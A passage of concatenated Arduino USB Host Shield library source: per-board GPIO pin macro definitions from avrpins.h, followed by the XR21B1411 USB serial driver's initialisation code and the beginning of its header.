CORE_PIN20_BIT, CORE_PIN20_CONFIG); MAKE_PIN(P21, CORE_PIN21_PORTREG, CORE_PIN21_BIT, CORE_PIN21_CONFIG); MAKE_PIN(P22, CORE_PIN22_PORTREG, CORE_PIN22_BIT, CORE_PIN22_CONFIG); MAKE_PIN(P23, CORE_PIN23_PORTREG, CORE_PIN23_BIT, CORE_PIN23_CONFIG); MAKE_PIN(P24, CORE_PIN24_PORTREG, CORE_PIN24_BIT, CORE_PIN24_CONFIG); MAKE_PIN(P25, CORE_PIN25_PORTREG, CORE_PIN25_BIT, CORE_PIN25_CONFIG); MAKE_PIN(P26, CORE_PIN26_PORTREG, CORE_PIN26_BIT, CORE_PIN26_CONFIG); MAKE_PIN(P27, CORE_PIN27_PORTREG, CORE_PIN27_BIT, CORE_PIN27_CONFIG); MAKE_PIN(P28, CORE_PIN28_PORTREG, CORE_PIN28_BIT, CORE_PIN28_CONFIG); MAKE_PIN(P29, CORE_PIN29_PORTREG, CORE_PIN29_BIT, CORE_PIN29_CONFIG); MAKE_PIN(P30, CORE_PIN30_PORTREG, CORE_PIN30_BIT, CORE_PIN30_CONFIG); MAKE_PIN(P31, CORE_PIN31_PORTREG, CORE_PIN31_BIT, CORE_PIN31_CONFIG); MAKE_PIN(P32, CORE_PIN32_PORTREG, CORE_PIN32_BIT, CORE_PIN32_CONFIG); MAKE_PIN(P33, CORE_PIN33_PORTREG, CORE_PIN33_BIT, CORE_PIN33_CONFIG); #if defined(__MK64FX512__) || defined(__MK66FX1M0__) MAKE_PIN(P34, CORE_PIN34_PORTREG, CORE_PIN34_BIT, CORE_PIN34_CONFIG); MAKE_PIN(P35, CORE_PIN35_PORTREG, CORE_PIN35_BIT, CORE_PIN35_CONFIG); MAKE_PIN(P36, CORE_PIN36_PORTREG, CORE_PIN36_BIT, CORE_PIN36_CONFIG); MAKE_PIN(P37, CORE_PIN37_PORTREG, CORE_PIN37_BIT, CORE_PIN37_CONFIG); MAKE_PIN(P38, CORE_PIN38_PORTREG, CORE_PIN38_BIT, CORE_PIN38_CONFIG); MAKE_PIN(P39, CORE_PIN39_PORTREG, CORE_PIN39_BIT, CORE_PIN39_CONFIG); MAKE_PIN(P40, CORE_PIN40_PORTREG, CORE_PIN40_BIT, CORE_PIN40_CONFIG); MAKE_PIN(P41, CORE_PIN41_PORTREG, CORE_PIN41_BIT, CORE_PIN41_CONFIG); MAKE_PIN(P42, CORE_PIN42_PORTREG, CORE_PIN42_BIT, CORE_PIN42_CONFIG); MAKE_PIN(P43, CORE_PIN43_PORTREG, CORE_PIN43_BIT, CORE_PIN43_CONFIG); MAKE_PIN(P44, CORE_PIN44_PORTREG, CORE_PIN44_BIT, CORE_PIN44_CONFIG); MAKE_PIN(P45, CORE_PIN45_PORTREG, CORE_PIN45_BIT, CORE_PIN45_CONFIG); MAKE_PIN(P46, CORE_PIN46_PORTREG, CORE_PIN46_BIT, CORE_PIN46_CONFIG); MAKE_PIN(P47, CORE_PIN47_PORTREG, CORE_PIN47_BIT, CORE_PIN47_CONFIG); MAKE_PIN(P48, CORE_PIN48_PORTREG, CORE_PIN48_BIT, CORE_PIN48_CONFIG); MAKE_PIN(P49, CORE_PIN49_PORTREG, CORE_PIN49_BIT, CORE_PIN49_CONFIG); MAKE_PIN(P50, CORE_PIN50_PORTREG, CORE_PIN50_BIT, CORE_PIN50_CONFIG); MAKE_PIN(P51, CORE_PIN51_PORTREG, CORE_PIN51_BIT, CORE_PIN51_CONFIG); MAKE_PIN(P52, CORE_PIN52_PORTREG, CORE_PIN52_BIT, CORE_PIN52_CONFIG); MAKE_PIN(P53, CORE_PIN53_PORTREG, CORE_PIN53_BIT, CORE_PIN53_CONFIG); MAKE_PIN(P54, CORE_PIN54_PORTREG, CORE_PIN54_BIT, CORE_PIN54_CONFIG); MAKE_PIN(P55, CORE_PIN55_PORTREG, CORE_PIN55_BIT, CORE_PIN55_CONFIG); MAKE_PIN(P56, CORE_PIN56_PORTREG, CORE_PIN56_BIT, CORE_PIN56_CONFIG); MAKE_PIN(P57, CORE_PIN57_PORTREG, CORE_PIN57_BIT, CORE_PIN57_CONFIG); MAKE_PIN(P58, CORE_PIN58_PORTREG, CORE_PIN58_BIT, CORE_PIN58_CONFIG); MAKE_PIN(P59, CORE_PIN59_PORTREG, CORE_PIN59_BIT, CORE_PIN59_CONFIG); MAKE_PIN(P60, CORE_PIN60_PORTREG, CORE_PIN60_BIT, CORE_PIN60_CONFIG); MAKE_PIN(P61, CORE_PIN61_PORTREG, CORE_PIN61_BIT, CORE_PIN61_CONFIG); MAKE_PIN(P62, CORE_PIN62_PORTREG, CORE_PIN62_BIT, CORE_PIN62_CONFIG); MAKE_PIN(P63, CORE_PIN63_PORTREG, CORE_PIN63_BIT, CORE_PIN63_CONFIG); #endif #undef MAKE_PIN #elif defined(CORE_TEENSY) && (defined(__MKL26Z64__)) // we could get lower level by making these macros work properly. // for now just use the semi optimised version, it costs a lookup in the pin pgm table per op // but for now it will do. //#define GPIO_BITBAND_ADDR(reg, bit) (((volatile uint8_t *)&(reg) + ((bit) >> 3))) //#define GPIO_BITBAND_MASK(reg, bit) (1<<((bit) & 7)) //#define GPIO_BITBAND_PTR(reg, bit) ((volatile uint8_t *)GPIO_BITBAND_ADDR((reg), (bit))) #include "core_pins.h" #include "avr_emulation.h" #define MAKE_PIN(className, baseReg, pinNum, configReg) \ class className { \ public: \ static void Set() { \ *portSetRegister(pinNum) = digitalPinToBitMask(pinNum); \ } \ static void Clear() { \ *portClearRegister(pinNum) = digitalPinToBitMask(pinNum); \ } \ static void SetDirRead() { \ configReg = PORT_PCR_SRE | PORT_PCR_DSE | PORT_PCR_MUX(1); \ *portModeRegister(pinNum) &= ~digitalPinToBitMask(pinNum); \ } \ static void SetDirWrite() { \ configReg = PORT_PCR_SRE | PORT_PCR_DSE | PORT_PCR_MUX(1); \ *portModeRegister(pinNum) |= digitalPinToBitMask(pinNum); \ } \ static uint8_t IsSet() { \ return (*portInputRegister(pinNum) & digitalPinToBitMask(pinNum)) ? 1 : 0; \ } \ }; MAKE_PIN(P0, CORE_PIN0_PORTREG, 0, CORE_PIN0_CONFIG); MAKE_PIN(P1, CORE_PIN1_PORTREG, 1, CORE_PIN1_CONFIG); MAKE_PIN(P2, CORE_PIN2_PORTREG, 2, CORE_PIN2_CONFIG); MAKE_PIN(P3, CORE_PIN3_PORTREG, 3, CORE_PIN3_CONFIG); MAKE_PIN(P4, CORE_PIN4_PORTREG, 4, CORE_PIN4_CONFIG); MAKE_PIN(P5, CORE_PIN5_PORTREG, 5, CORE_PIN5_CONFIG); MAKE_PIN(P6, CORE_PIN6_PORTREG, 6, CORE_PIN6_CONFIG); MAKE_PIN(P7, CORE_PIN7_PORTREG, 7, CORE_PIN7_CONFIG); MAKE_PIN(P8, CORE_PIN8_PORTREG, 8, CORE_PIN8_CONFIG); MAKE_PIN(P9, CORE_PIN9_PORTREG, 9, CORE_PIN9_CONFIG); MAKE_PIN(P10, CORE_PIN10_PORTREG, 10, CORE_PIN10_CONFIG); MAKE_PIN(P11, CORE_PIN11_PORTREG, 11, CORE_PIN11_CONFIG); MAKE_PIN(P12, CORE_PIN12_PORTREG, 12, CORE_PIN12_CONFIG); MAKE_PIN(P13, CORE_PIN13_PORTREG, 13, CORE_PIN13_CONFIG); MAKE_PIN(P14, CORE_PIN14_PORTREG, 14, CORE_PIN14_CONFIG); MAKE_PIN(P15, CORE_PIN15_PORTREG, 15, CORE_PIN15_CONFIG); MAKE_PIN(P16, CORE_PIN16_PORTREG, 16, CORE_PIN16_CONFIG); MAKE_PIN(P17, CORE_PIN17_PORTREG, 17, CORE_PIN17_CONFIG); MAKE_PIN(P18, CORE_PIN18_PORTREG, 18, CORE_PIN18_CONFIG); MAKE_PIN(P19, CORE_PIN19_PORTREG, 19, CORE_PIN19_CONFIG); MAKE_PIN(P20, CORE_PIN20_PORTREG, 20, CORE_PIN20_CONFIG); MAKE_PIN(P21, CORE_PIN21_PORTREG, 21, CORE_PIN21_CONFIG); MAKE_PIN(P22, CORE_PIN22_PORTREG, 22, CORE_PIN22_CONFIG); MAKE_PIN(P23, CORE_PIN23_PORTREG, 23, CORE_PIN23_CONFIG); MAKE_PIN(P24, CORE_PIN24_PORTREG, 24, CORE_PIN24_CONFIG); MAKE_PIN(P25, CORE_PIN25_PORTREG, 25, CORE_PIN25_CONFIG); MAKE_PIN(P26, CORE_PIN26_PORTREG, 26, CORE_PIN26_CONFIG); #undef MAKE_PIN #elif defined(ARDUINO_SAM_DUE) && defined(__SAM3X8E__) // SetDirRead: // Disable interrupts // Disable the pull up resistor // Set to INPUT // Enable PIO // SetDirWrite: // Disable interrupts // Disable the pull up resistor // Set to OUTPUT // Enable PIO #define MAKE_PIN(className, pio, pinMask) \ class className { \ public: \ static void Set() { \ pio->PIO_SODR = pinMask; \ } \ static void Clear() { \ pio->PIO_CODR = pinMask; \ } \ static void SetDirRead() { \ pio->PIO_IDR = pinMask ; \ pio->PIO_PUDR = pinMask; \ pio->PIO_ODR = pinMask; \ pio->PIO_PER = pinMask; \ } \ static void SetDirWrite() { \ pio->PIO_IDR = pinMask ; \ pio->PIO_PUDR = pinMask; \ pio->PIO_OER = pinMask; \ pio->PIO_PER = pinMask; \ } \ static uint8_t IsSet() { \ return pio->PIO_PDSR & pinMask; \ } \ }; // See: http://arduino.cc/en/Hacking/PinMappingSAM3X and variant.cpp MAKE_PIN(P0, PIOA, PIO_PA8); MAKE_PIN(P1, PIOA, PIO_PA9); MAKE_PIN(P2, PIOB, PIO_PB25); MAKE_PIN(P3, PIOC, PIO_PC28); MAKE_PIN(P4, PIOC, PIO_PC26); MAKE_PIN(P5, PIOC, PIO_PC25); MAKE_PIN(P6, PIOC, PIO_PC24); MAKE_PIN(P7, PIOC, PIO_PC23); MAKE_PIN(P8, PIOC, PIO_PC22); MAKE_PIN(P9, PIOC, PIO_PC21); MAKE_PIN(P10, PIOC, PIO_PC29); MAKE_PIN(P11, PIOD, PIO_PD7); MAKE_PIN(P12, PIOD, PIO_PD8); MAKE_PIN(P13, PIOB, PIO_PB27); MAKE_PIN(P14, PIOD, PIO_PD4); MAKE_PIN(P15, PIOD, PIO_PD5); MAKE_PIN(P16, PIOA, PIO_PA13); MAKE_PIN(P17, PIOA, PIO_PA12); MAKE_PIN(P18, PIOA, PIO_PA11); MAKE_PIN(P19, PIOA, PIO_PA10); MAKE_PIN(P20, PIOB, PIO_PB12); MAKE_PIN(P21, PIOB, PIO_PB13); MAKE_PIN(P22, PIOB, PIO_PB26); MAKE_PIN(P23, PIOA, PIO_PA14); MAKE_PIN(P24, PIOA, PIO_PA15); MAKE_PIN(P25, PIOD, PIO_PD0); MAKE_PIN(P26, PIOD, PIO_PD1); MAKE_PIN(P27, PIOD, PIO_PD2); MAKE_PIN(P28, PIOD, PIO_PD3); MAKE_PIN(P29, PIOD, PIO_PD6); MAKE_PIN(P30, PIOD, PIO_PD9); MAKE_PIN(P31, PIOA, PIO_PA7); MAKE_PIN(P32, PIOD, PIO_PD10); MAKE_PIN(P33, PIOC, PIO_PC1); MAKE_PIN(P34, PIOC, PIO_PC2); MAKE_PIN(P35, PIOC, PIO_PC3); MAKE_PIN(P36, PIOC, PIO_PC4); MAKE_PIN(P37, PIOC, PIO_PC5); MAKE_PIN(P38, PIOC, PIO_PC6); MAKE_PIN(P39, PIOC, PIO_PC7); MAKE_PIN(P40, PIOC, PIO_PC8); MAKE_PIN(P41, PIOC, PIO_PC9); MAKE_PIN(P42, PIOA, PIO_PA19); MAKE_PIN(P43, PIOA, PIO_PA20); MAKE_PIN(P44, PIOC, PIO_PC19); MAKE_PIN(P45, PIOC, PIO_PC18); MAKE_PIN(P46, PIOC, PIO_PC17); MAKE_PIN(P47, PIOC, PIO_PC16); MAKE_PIN(P48, PIOC, PIO_PC15); MAKE_PIN(P49, PIOC, PIO_PC14); MAKE_PIN(P50, PIOC, PIO_PC13); MAKE_PIN(P51, PIOC, PIO_PC12); MAKE_PIN(P52, PIOB, PIO_PB21); MAKE_PIN(P53, PIOB, PIO_PB14); MAKE_PIN(P54, PIOA, PIO_PA16); MAKE_PIN(P55, PIOA, PIO_PA24); MAKE_PIN(P56, PIOA, PIO_PA23); MAKE_PIN(P57, PIOA, PIO_PA22); MAKE_PIN(P58, PIOA, PIO_PA6); MAKE_PIN(P59, PIOA, PIO_PA4); MAKE_PIN(P60, PIOA, PIO_PA3); MAKE_PIN(P61, PIOA, PIO_PA2); MAKE_PIN(P62, PIOB, PIO_PB17); MAKE_PIN(P63, PIOB, PIO_PB18); MAKE_PIN(P64, PIOB, PIO_PB19); MAKE_PIN(P65, PIOB, PIO_PB20); MAKE_PIN(P66, PIOB, PIO_PB15); MAKE_PIN(P67, PIOB, PIO_PB16); MAKE_PIN(P68, PIOA, PIO_PA1); MAKE_PIN(P69, PIOA, PIO_PA0); MAKE_PIN(P70, PIOA, PIO_PA17); MAKE_PIN(P71, PIOA, PIO_PA18); MAKE_PIN(P72, PIOC, PIO_PC30); MAKE_PIN(P73, PIOA, PIO_PA21); MAKE_PIN(P74, PIOA, PIO_PA25); // MISO MAKE_PIN(P75, PIOA, PIO_PA26); // MOSI MAKE_PIN(P76, PIOA, PIO_PA27); // CLK MAKE_PIN(P77, PIOA, PIO_PA28); MAKE_PIN(P78, PIOB, PIO_PB23); // Unconnected #undef MAKE_PIN #elif defined(RBL_NRF51822) #define MAKE_PIN(className, pin) \ class className { \ public: \ static void Set() { \ nrf_gpio_pin_set(pin); \ } \ static void Clear() { \ nrf_gpio_pin_clear(pin); \ } \ static void SetDirRead() { \ nrf_gpio_cfg_input(pin, NRF_GPIO_PIN_NOPULL); \ } \ static void SetDirWrite() { \ nrf_gpio_cfg_output(pin); \ } \ static uint8_t IsSet() { \ return (uint8_t)nrf_gpio_pin_read(pin); \ } \ }; // See: pin_transform.c in RBL nRF51822 SDK MAKE_PIN(P0, Pin_nRF51822_to_Arduino(D0)); MAKE_PIN(P1, Pin_nRF51822_to_Arduino(D1)); MAKE_PIN(P2, Pin_nRF51822_to_Arduino(D2)); MAKE_PIN(P3, Pin_nRF51822_to_Arduino(D3)); MAKE_PIN(P4, Pin_nRF51822_to_Arduino(D4)); MAKE_PIN(P5, Pin_nRF51822_to_Arduino(D5)); MAKE_PIN(P6, Pin_nRF51822_to_Arduino(D6)); MAKE_PIN(P7, Pin_nRF51822_to_Arduino(D7)); MAKE_PIN(P8, Pin_nRF51822_to_Arduino(D8)); MAKE_PIN(P9, Pin_nRF51822_to_Arduino(D9)); // INT MAKE_PIN(P10, Pin_nRF51822_to_Arduino(D10)); // SS MAKE_PIN(P11, Pin_nRF51822_to_Arduino(D11)); MAKE_PIN(P12, Pin_nRF51822_to_Arduino(D12)); MAKE_PIN(P13, Pin_nRF51822_to_Arduino(D13)); MAKE_PIN(P14, Pin_nRF51822_to_Arduino(D14)); MAKE_PIN(P15, Pin_nRF51822_to_Arduino(D15)); MAKE_PIN(P17, Pin_nRF51822_to_Arduino(D17)); // MISO MAKE_PIN(P18, Pin_nRF51822_to_Arduino(D18)); // MOSI MAKE_PIN(P16, Pin_nRF51822_to_Arduino(D16)); // CLK MAKE_PIN(P19, Pin_nRF51822_to_Arduino(D19)); MAKE_PIN(P20, Pin_nRF51822_to_Arduino(D20)); MAKE_PIN(P21, Pin_nRF51822_to_Arduino(D21)); MAKE_PIN(P22, Pin_nRF51822_to_Arduino(D22)); MAKE_PIN(P23, Pin_nRF51822_to_Arduino(D23)); MAKE_PIN(P24, Pin_nRF51822_to_Arduino(D24)); #undef MAKE_PIN #elif defined(STM32F446xx) // NUCLEO-F446RE #define MAKE_PIN(className, port, pin) \ class className { \ public: \ static void Set() { \ HAL_GPIO_WritePin(port, pin, GPIO_PIN_SET); \ } \ static void Clear() { \ HAL_GPIO_WritePin(port, pin, GPIO_PIN_RESET); \ } \ static void SetDirRead() { \ static GPIO_InitTypeDef GPIO_InitStruct; \ GPIO_InitStruct.Pin = pin; \ GPIO_InitStruct.Mode = GPIO_MODE_INPUT; \ GPIO_InitStruct.Pull = GPIO_NOPULL; \ HAL_GPIO_Init(port, &GPIO_InitStruct); \ } \ static void SetDirWrite() { \ static GPIO_InitTypeDef GPIO_InitStruct; \ GPIO_InitStruct.Pin = pin; \ GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP; \ GPIO_InitStruct.Pull = GPIO_NOPULL; \ GPIO_InitStruct.Speed = GPIO_SPEED_HIGH; \ HAL_GPIO_Init(port, &GPIO_InitStruct); \ } \ static GPIO_PinState IsSet() { \ return HAL_GPIO_ReadPin(port, pin); \ } \ }; MAKE_PIN(P0, GPIOA, GPIO_PIN_3); // D0 MAKE_PIN(P1, GPIOA, GPIO_PIN_2); // D1 MAKE_PIN(P2, GPIOA, GPIO_PIN_10); // D2 MAKE_PIN(P3, GPIOB, GPIO_PIN_3); // D3 MAKE_PIN(P4, GPIOB, GPIO_PIN_5); // D4 MAKE_PIN(P5, GPIOB, GPIO_PIN_4); // D5 MAKE_PIN(P6, GPIOB, GPIO_PIN_10); // D6 MAKE_PIN(P7, GPIOA, GPIO_PIN_8); // D7 MAKE_PIN(P8, GPIOA, GPIO_PIN_9); // D8 MAKE_PIN(P9, GPIOC, GPIO_PIN_7); // D9 MAKE_PIN(P10, GPIOB, GPIO_PIN_6); // D10 MAKE_PIN(P11, GPIOA, GPIO_PIN_7); // D11 MAKE_PIN(P12, GPIOA, GPIO_PIN_6); // D12 MAKE_PIN(P13, GPIOA, GPIO_PIN_5); // D13 MAKE_PIN(P14, GPIOA, GPIO_PIN_0); // A0 MAKE_PIN(P15, GPIOA, GPIO_PIN_1); // A1 MAKE_PIN(P16, GPIOA, GPIO_PIN_4); // A2 MAKE_PIN(P17, GPIOB, GPIO_PIN_0); // A3 MAKE_PIN(P18, GPIOC, GPIO_PIN_1); // A4 MAKE_PIN(P19, GPIOC, GPIO_PIN_0); // A5 #undef MAKE_PIN #else #error "Please define board in avrpins.h" #endif #elif defined(__ARDUINO_ARC__) #include // Pointers are 32 bits on arc #define pgm_read_pointer(p) pgm_read_dword(p) #define MAKE_PIN(className, pin) \ class className { \ public: \ static void Set() { \ digitalWrite(pin, HIGH);\ } \ static void Clear() { \ digitalWrite(pin, LOW); \ } \ static void SetDirRead() { \ pinMode(pin, INPUT); \ } \ static void SetDirWrite() { \ pinMode(pin, OUTPUT); \ } \ static uint8_t IsSet() { \ return digitalRead(pin); \ } \ }; MAKE_PIN(P0, 0); MAKE_PIN(P1, 1); MAKE_PIN(P2, 2); MAKE_PIN(P3, 3); //PWM MAKE_PIN(P4, 4); MAKE_PIN(P5, 5); //PWM MAKE_PIN(P6, 6); //PWM MAKE_PIN(P7, 7); MAKE_PIN(P8, 8); MAKE_PIN(P9, 9); //PWM MAKE_PIN(P10, 10); //SPI SS MAKE_PIN(P11, 11); //SPI MOSI MAKE_PIN(P12, 12); //SPI MISO MAKE_PIN(P13, 13); //SPI SCK / BUILTIN LED MAKE_PIN(P14, 14); // A0 MAKE_PIN(P15, 15); // A1 MAKE_PIN(P16, 16); // A2 MAKE_PIN(P17, 17); // A3 MAKE_PIN(P18, 18); // A4 SDA MAKE_PIN(P19, 19); // A5 SCL MAKE_PIN(P20, 20); // ATN #undef MAKE_PIN #elif defined(__ARDUINO_X86__) // Intel Galileo, Intel Galileo 2 and Intel Edison #include // Pointers are 32 bits on x86 #define pgm_read_pointer(p) pgm_read_dword(p) #if PLATFORM_ID == 0xE1 // Edison platform id #define pinToFastPin(pin) 1 // As far as I can tell all pins can be used as fast pins #endif // Pin 2 and 3 on the Intel Galileo supports a higher rate, // so it is recommended to use one of these as the SS pin. #define MAKE_PIN(className, pin) \ class className { \ public: \ static void Set() { \ fastDigitalWrite(pin, HIGH); \ } \ static void Clear() { \ fastDigitalWrite(pin, LOW); \ } \ static void SetDirRead() { \ if (pinToFastPin(pin)) \ pinMode(pin, INPUT_FAST); \ else \ pinMode(pin, INPUT); \ } \ static void SetDirWrite() { \ if (pinToFastPin(pin)) \ pinMode(pin, OUTPUT_FAST); \ else \ pinMode(pin, OUTPUT); \ } \ static uint8_t IsSet() { \ return fastDigitalRead(pin); \ } \ }; MAKE_PIN(P0, 0); MAKE_PIN(P1, 1); MAKE_PIN(P2, 2); MAKE_PIN(P3, 3); MAKE_PIN(P4, 4); MAKE_PIN(P5, 5); MAKE_PIN(P6, 6); MAKE_PIN(P7, 7); MAKE_PIN(P8, 8); MAKE_PIN(P9, 9); MAKE_PIN(P10, 10); MAKE_PIN(P11, 11); MAKE_PIN(P12, 12); MAKE_PIN(P13, 13); MAKE_PIN(P14, 14); // A0 MAKE_PIN(P15, 15); // A1 MAKE_PIN(P16, 16); // A2 MAKE_PIN(P17, 17); // A3 MAKE_PIN(P18, 18); // A4 MAKE_PIN(P19, 19); // A5 #undef MAKE_PIN #elif defined(__MIPSEL__) // MIPSEL (MIPS architecture using a little endian byte order) // MIPS size_t = 4 #define pgm_read_pointer(p) pgm_read_dword(p) #define MAKE_PIN(className, pin) \ class className { \ public: \ static void Set() { \ digitalWrite(pin, HIGH);\ } \ static void Clear() { \ digitalWrite(pin, LOW); \ } \ static void SetDirRead() { \ pinMode(pin, INPUT); \ } \ static void SetDirWrite() { \ pinMode(pin, OUTPUT); \ } \ static uint8_t IsSet() { \ return digitalRead(pin); \ } \ }; // 0 .. 13 - Digital pins MAKE_PIN(P0, 0); // RX MAKE_PIN(P1, 1); // TX MAKE_PIN(P2, 2); // MAKE_PIN(P3, 3); // MAKE_PIN(P4, 4); // MAKE_PIN(P5, 5); // MAKE_PIN(P6, 6); // MAKE_PIN(P7, 7); // MAKE_PIN(P8, 8); // MAKE_PIN(P9, 9); // MAKE_PIN(P10, 10); // MAKE_PIN(P11, 11); // MAKE_PIN(P12, 12); // MAKE_PIN(P13, 13); // #undef MAKE_PIN #elif defined(ESP8266) || defined(ESP32) #define MAKE_PIN(className, pin) \ class className { \ public: \ static void Set() { \ digitalWrite(pin, HIGH);\ } \ static void Clear() { \ digitalWrite(pin, LOW); \ } \ static void SetDirRead() { \ pinMode(pin, INPUT); \ } \ static void SetDirWrite() { \ pinMode(pin, OUTPUT); \ } \ static uint8_t IsSet() { \ return digitalRead(pin); \ } \ }; #if defined(ESP8266) // Pinout for ESP-12 module // 0 .. 16 - Digital pins // GPIO 6 to 11 and 16 are not usable in this library. MAKE_PIN(P0, 0); MAKE_PIN(P1, 1); // TX0 MAKE_PIN(P2, 2); // TX1 MAKE_PIN(P3, 3); // RX0 MAKE_PIN(P4, 4); // SDA MAKE_PIN(P5, 5); // SCL MAKE_PIN(P12, 12); // MISO MAKE_PIN(P13, 13); // MOSI MAKE_PIN(P14, 14); // SCK MAKE_PIN(P15, 15); // SS #elif defined(ESP32) // Workaround strict-aliasing warnings #ifdef pgm_read_word #undef pgm_read_word #endif #ifdef pgm_read_dword #undef pgm_read_dword #endif #ifdef pgm_read_float #undef pgm_read_float #endif #ifdef pgm_read_ptr #undef pgm_read_ptr #endif #define pgm_read_word(addr) ({ \ typeof(addr) _addr = (addr); \ *(const unsigned short *)(_addr); \ }) #define pgm_read_dword(addr) ({ \ typeof(addr) _addr = (addr); \ *(const unsigned long *)(_addr); \ }) #define pgm_read_float(addr) ({ \ typeof(addr) _addr = (addr); \ *(const float *)(_addr); \ }) #define pgm_read_ptr(addr) ({ \ typeof(addr) _addr = (addr); \ *(void * const *)(_addr); \ }) // Pinout for ESP32 dev module MAKE_PIN(P0, 0); MAKE_PIN(P1, 1); // TX0 MAKE_PIN(P10, 10); // TX1 MAKE_PIN(P3, 3); // RX0 MAKE_PIN(P21, 21); // SDA MAKE_PIN(P22, 22); // SCL MAKE_PIN(P19, 19); // MISO MAKE_PIN(P23, 23); // MOSI MAKE_PIN(P18, 18); // SCK MAKE_PIN(P5, 5); // SS MAKE_PIN(P17, 17); // INT #endif #undef MAKE_PIN // pgm_read_ptr is not defined in the ESP32, so we have to undef the diffinition from version_helper.h #ifdef pgm_read_pointer #undef pgm_read_pointer #endif #define pgm_read_pointer(p) pgm_read_ptr(p) #else #error "Please define board in avrpins.h" #endif #endif //_avrpins_h_ ================================================ FILE: libraries/USB_Host_Shield_2.0/cdc_XR21B1411.cpp ================================================ /* Copyright (C) 2015 Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #include "cdc_XR21B1411.h" XR21B1411::XR21B1411(USB *p, CDCAsyncOper *pasync) : ACM(p, pasync) { // Is this needed?? _enhanced_status = enhanced_features(); // Set up features } uint8_t XR21B1411::Init(uint8_t parent, uint8_t port, bool lowspeed) { const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR); uint8_t buf[constBufSize]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; uint8_t num_of_conf; // number of configurations AddressPool &addrPool = pUsb->GetAddressPool(); USBTRACE("XR Init\r\n"); if(bAddress) return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; if(!p->epinfo) { USBTRACE("epinfo\r\n"); return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf); // Restore p->epinfo p->epinfo = oldep_ptr; if(rcode) goto FailGetDevDescr; // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); if(!bAddress) return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; // Extract Max Packet Size from the device descriptor epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); if(rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; USBTRACE2("setAddr:", rcode); return rcode; } USBTRACE2("Addr:", bAddress); p->lowspeed = false; p = addrPool.GetUsbDevicePtr(bAddress); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; p->lowspeed = lowspeed; num_of_conf = udd->bNumConfigurations; if((((udd->idVendor != 0x2890U) || (udd->idProduct != 0x0201U)) && ((udd->idVendor != 0x04e2U) || (udd->idProduct != 0x1411U)))) return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); if(rcode) goto FailSetDevTblEntry; USBTRACE2("NC:", num_of_conf); for(uint8_t i = 0; i < num_of_conf; i++) { ConfigDescParser< USB_CLASS_COM_AND_CDC_CTRL, CDC_SUBCLASS_ACM, CDC_PROTOCOL_ITU_T_V_250, CP_MASK_COMPARE_CLASS | CP_MASK_COMPARE_SUBCLASS | CP_MASK_COMPARE_PROTOCOL > CdcControlParser(this); ConfigDescParser CdcDataParser(this); rcode = pUsb->getConfDescr(bAddress, 0, i, &CdcControlParser); if(rcode) goto FailGetConfDescr; rcode = pUsb->getConfDescr(bAddress, 0, i, &CdcDataParser); if(rcode) goto FailGetConfDescr; if(bNumEP > 1) break; } // for if(bNumEP < 4) return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; // Assign epInfo to epinfo pointer rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo); USBTRACE2("Conf:", bConfNum); // Set Configuration Value rcode = pUsb->setConf(bAddress, 0, bConfNum); if(rcode) goto FailSetConfDescr; // Set up features status _enhanced_status = enhanced_features(); half_duplex(false); autoflowRTS(false); autoflowDSR(false); autoflowXON(false); wide(false); // Always false, because this is only available in custom mode. rcode = pAsync->OnInit(this); if(rcode) goto FailOnInit; USBTRACE("XR configured\r\n"); ready = true; //bPollEnable = true; //USBTRACE("Poll enabled\r\n"); return 0; FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(); goto Fail; #endif FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(); goto Fail; #endif FailGetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailGetConfDescr(); goto Fail; #endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(); goto Fail; #endif FailOnInit: #ifdef DEBUG_USB_HOST USBTRACE("OnInit:"); #endif #ifdef DEBUG_USB_HOST Fail: NotifyFail(rcode); #endif Release(); return rcode; } ================================================ FILE: libraries/USB_Host_Shield_2.0/cdc_XR21B1411.h ================================================ /* Copyright (C) 2015 Andrew J. Kroll and Circuits At Home, LTD. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(__CDC_XR21B1411_H__) #define __CDC_XR21B1411_H__ #include "cdcacm.h" #define XR_REG_CUSTOM_DRIVER (0x020DU) // DRIVER SELECT #define XR_REG_CUSTOM_DRIVER_ACTIVE (0x0001U) // 0: CDC 1: 